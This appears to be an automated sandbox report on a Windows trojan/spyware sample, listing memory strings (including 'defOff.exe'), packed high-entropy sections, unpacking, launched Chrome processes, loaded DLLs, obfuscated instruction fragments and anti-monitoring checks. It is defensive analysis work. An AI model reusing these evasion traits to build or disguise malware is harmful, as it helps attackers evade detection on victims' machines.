Source: file.exe, 00000000.00000003.1966344016.0000000005A40000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1952549622.0000000005A35000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1959260624.0000000005A37000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1974358465.0000000005B6D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1942202039.0000000005765000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1951806378.0000000005AEE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1961457195.0000000005B4D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1957206925.0000000005A34000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1950423429.0000000005AD6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1953615234.0000000005AFA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1959797242.0000000005A33000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1972734535.0000000005A3B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1948983069.0000000005A41000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1951263113.0000000005B7B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1961321629.0000000005A33000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1960925869.0000000005A34000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1954904298.0000000005A34000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1961645137.0000000005C61000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1957820955.0000000005A40000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1949855331.0000000005892000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1951028953.0000000005A38000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1956001114.0000000005A34000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1955445335.0000000005B0C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1953960216.0000000005A34000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1958636820.0000000005A3E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1958271520.0000000005A40000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1960705424.0000000005B3A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1959629521.0000000005C27000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1975088018.0000000005A33000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1950180209.0000000005A36000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1949446294.0000000005A39000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1951598915.0000000005AEC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1953815738.0000000005AF3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1969382053.0000000005A3E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1961862540.0000000005A36000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1951176619.0000000005AD7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1951690159.0000000005A3A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1957438959.0000000005B1D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1954161694.0000000005BBD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1958776532.0000000005B2A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1955277247.0000000005A38000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000002.2084824191.0000000005DE6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1954682736.0000000005B01000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1959989820.0000000005B41000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1952210540.0000000005A34000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1949969497.0000000005A40000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1960264526.0000000005B35000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1960459304.0000000005A36000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1992365525.000000000566A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1972970903.0000000005B71000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1948679128.0000000005A41000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1958073370.0000000005B27000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1962042676.0000000005B51000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1970913781.0000000005B6F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1952455901.0000000005AE4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1952774063.0000000005BAF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1956508882.0000000005A3C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1956355702.0000000005BED000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1949359287.0000000005ADF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1949248529.0000000005A3F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1967602898.0000000005B63000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1974747594.0000000005B6F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1965374061.0000000005C5E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1951355350.0000000005A39000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1942202039.0000000005711000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1963660386.0000000005A33000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1959428205.0000000005B2F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1948206050.0000000005899000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1958422205.0000000005B2A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1975271547.0000000005B72000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1954574431.0000000005A33000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1971796759.0000000005B64000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1942202039.00000000056C1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1961058692.0000000005B36000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1955155678.0000000005B10000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe	Static PE information: Section: ZLIB complexity 0.9982013943829114
Source: file.exe	Static PE information: Section: wymbajvl ZLIB complexity 0.9945170585745073

Source: file.exe

Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@24/64@11/8

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: file.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: file.exe	String found in binary or memory: 3The file %s is missing. Please, re-install this application

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\file.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2104 --field-trial-handle=2000,i,12624885416953397818,8796835942053680158,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2060 --field-trial-handle=1968,i,5987406572315328770,4088698372966027366,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2104 --field-trial-handle=2000,i,12624885416953397818,8796835942053680158,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2060 --field-trial-handle=1968,i,5987406572315328770,4088698372966027366,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.shell.servicehostbuilder.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wkscli.dll	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: file.exe

Static file information: File size 1839616 > 1048576

Source: file.exe

Static PE information: Raw size of wymbajvl is bigger than: 0x100000 < 0x196000

Source:

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe

Unpacked PE file: 0.2.file.exe.b40000.0.unpack :EW;.rsrc :W;.idata :W; :EW;wymbajvl:EW;lvenwpid:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;wymbajvl:EW;lvenwpid:EW;.taggant:EW;

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: file.exe

Static PE information: real checksum: 0x1d00f3 should be: 0x1c9be3

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: wymbajvl
Source: file.exe	Static PE information: section name: lvenwpid
Source: file.exe	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05F72804 push 0ACE89C1h; mov dword ptr [esp], edx	0_2_05F729D2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05F72DF1 push 223CB31Ah; mov dword ptr [esp], eax	0_2_05F75976
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05F735E8 push eax; mov dword ptr [esp], 7B7428E3h	0_2_05F7471C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05F735E8 push ebp; mov dword ptr [esp], 7F9BE120h	0_2_05F753B5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05F735E8 push ebx; mov dword ptr [esp], eax	0_2_05F76656
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05F735E8 push eax; mov dword ptr [esp], 22012A74h	0_2_05F7665A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05F725DB push esi; mov dword ptr [esp], ebx	0_2_05F725F7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05F795C3 push 42759000h; mov dword ptr [esp], eax	0_2_05F795CD
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05F725A3 push ebx; mov dword ptr [esp], 4DC2F0D3h	0_2_05F767F8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05F725A3 push ebx; mov dword ptr [esp], ecx	0_2_05F76805
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05F77DA2 push ebp; mov dword ptr [esp], eax	0_2_05F77DA3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05F77DA2 push 22BEA437h; mov dword ptr [esp], esi	0_2_05F78CFF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05F7BDA2 push ecx; mov dword ptr [esp], ebp	0_2_05F7BE3E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05F785A0 push 33FEC13Dh; mov dword ptr [esp], eax	0_2_05F785A5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05F785A0 push 04FF620Ah; mov dword ptr [esp], ecx	0_2_05F785B4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05F73596 push 3493458Dh; mov dword ptr [esp], edi	0_2_05F7359C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05F72598 push ebx; mov dword ptr [esp], edx	0_2_05F740D5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05F72598 push 0EB833FFh; mov dword ptr [esp], esi	0_2_05F76902
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05F72598 push ebp; mov dword ptr [esp], eax	0_2_05F76907
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05F7BD8E push 5B3C05D1h; mov dword ptr [esp], ebx	0_2_05F7BE73
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05F77D72 push eax; mov dword ptr [esp], esi	0_2_05F77D73
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05F75D70 push 774D7116h; mov dword ptr [esp], edi	0_2_05F76F1E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05F77D7C push 22BEA437h; mov dword ptr [esp], esi	0_2_05F78CFF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05F71D66 push edi; mov dword ptr [esp], ecx	0_2_05F71D80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05F71D66 push ebx; mov dword ptr [esp], eax	0_2_05F76B6B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05F83550 push cs; iretd	0_2_05F83556
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05F73521 push ebp; mov dword ptr [esp], eax	0_2_05F7709A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05F77D2B push 128BC5B3h; mov dword ptr [esp], eax	0_2_05F77D3E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05F71D29 push 04736A43h; mov dword ptr [esp], edi	0_2_05F75F81
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05F81526 push 621ECB52h; mov dword ptr [esp], edx	0_2_05F81542
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05F81526 push eax; mov dword ptr [esp], 44E0F8D4h	0_2_05F8157E

Source: file.exe	Static PE information: section name: entropy: 7.987284147831566
Source: file.exe	Static PE information: section name: wymbajvl entropy: 7.953219410406336

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

